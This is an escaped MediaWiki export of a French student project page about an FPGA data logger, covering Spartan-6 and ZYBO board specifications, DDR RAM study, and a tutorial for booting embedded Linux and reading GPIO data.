{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Tuto9.PNG|500px|thumb|center)]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27721</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27721"/>
				<updated>2016-02-23T19:23:37Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Récupération des données des GPIOs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
